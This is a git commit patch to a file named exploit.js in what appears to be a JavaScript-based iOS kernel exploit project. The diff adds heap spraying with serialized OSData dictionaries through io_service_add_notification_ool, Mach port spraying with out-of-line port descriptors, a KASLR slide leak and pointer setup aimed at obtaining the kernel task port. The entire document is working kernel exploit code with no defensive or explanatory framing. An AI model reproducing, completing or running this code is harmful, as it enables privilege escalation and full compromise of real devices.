From 5f9294a0e7aac5b9e105ccee737e42fc5c4cff63 Mon Sep 17 00:00:00 2001 From: spv420 Date: Sun, 24 Apr 2022 16:07:43 -0400 Subject: yeet --- src/js/kexp/exploit.js | 113 +++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 105 insertions(+), 8 deletions(-) (limited to 'src/js/kexp/exploit.js') diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 402dd9f..c28e59c 100644 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -19,6 +19,15 @@ var kport_ip_srights4 = 0x70; var KERN_SUCCESS = 0; var NULL = 0; var MACH_PORT_NULL = 0; +var req_init_port_set = 0x1c; +var req_head_msgh_bits = 0x0; +var req_head_msgh_request_port = 0x8; +var req_head_msgh_reply_port = 0xc; +var req_head_msgh_id = 0x14; +var req_msgh_body_msgh_descriptor_count = 0x18; +var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; +var req_init_port_set_address = 0x0 +var req_init_port_set_count = 0x4 var kslide = 0; @@ -62,11 +71,7 @@ function spray_data(mem, size, num, portptr) { write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; for (var i = 0; i < num; i++) { - if (i == (num - 1)) { - write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; - } else { - write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; - } + write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; if (mem != 0 && size != 0) { memcpy(dict + (__cnt << 2), mem, size); } @@ -136,10 +141,86 @@ function copyinPort(kport, cnt) { printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; - return (read_u32(buf + (4 << 2)) - 0x78); + return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; } } +} + +function prepare_ptr(dict, size, ptr, num) { + var idx = 0; + write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; + write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; + write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; + write_u32(dict + (idx << 2), 0x0079656b); idx++; + write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; + for (var i = 0; i < num; i++) { + write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + write_u32(dict + (idx << 2), ptr); idx++; + } + + write_u32(size, idx * 4); + return KERN_SUCCESS; +} + +function spray(dict, size, port) { + var err = malloc(4); + var ret = 0; + var master = malloc(4); + + host_get_io_master(mach_host_self(), master); + io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); + + if (ret == KERN_SUCCESS) { + ret = read_u32(err); + } + return ret; +} + +var kp = 0; +function spray_ports(number_port_descs) { + printf("spray_ports\n"); + if (kp == 0) { + kp = malloc(4); + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(mach_task_self(), read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } + + var mp = malloc(4); + + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, mp); + printf("%x\n", read_u32(mp)); + mach_port_insert_right(mach_task_self(), read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); + + send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + return mp; +} + +function send_ports(target, payload, num, number_port_descs) { + var init_port_set = malloc(num * 4); + + for (var i = 0; i < num; i++) { + write_u32(init_port_set + (i << 2), payload); + } + + var buf = malloc(0x1c + (number_port_descs * 0xc)); + write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); + + for (var i = 0; i < number_port_descs; i++) { + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); + write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); + write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); + write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); + } + + write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + write_u32(buf + req_head_msgh_request_port, target); + write_u32(buf + req_head_msgh_reply_port, 0); + write_u32(buf + req_head_msgh_id, 1337); + + return mach_msg(read_u32(buf + 0x0), read_u32(buf + 0x4), read_u32(buf + 0x8), read_u32(buf + 0xc), read_u32(buf + 0x10), read_u32(buf + 0x14), 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); } function get_kernel_task() { @@ -169,8 +250,8 @@ function get_kernel_task() { var big_buf = malloc(MIG_MAX); var small_buf = malloc(MIG_MAX); - var big_size = 0; - var small_size = 0; + var big_size = malloc(4); + var small_size = malloc(4); var fp = malloc(PORTS_NUM * 4); var postSpray = malloc(4); @@ -180,6 +261,22 @@ function get_kernel_task() { var kptr = copyinPort(kport, 2); printf("0x%08x\n", kptr); + write_u32(data, kptr); + write_u32(data + 4, kptr); + + prepare_ptr(big_buf, big_size, kptr, 256); + prepare_ptr(small_buf, small_size, kptr, 32); + + for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { + var dummy = malloc(4); + spray(big_buf, big_size, dummy); + } + + for (var i = 0; i < PORTS_NUM; i++) { + write_u32(fp + (i << 2), spray_ports(i)); + var dummy = malloc(4); + spray(small_buf, small_size, dummy); + } printf("get lucky\n"); -- cgit v1.2.3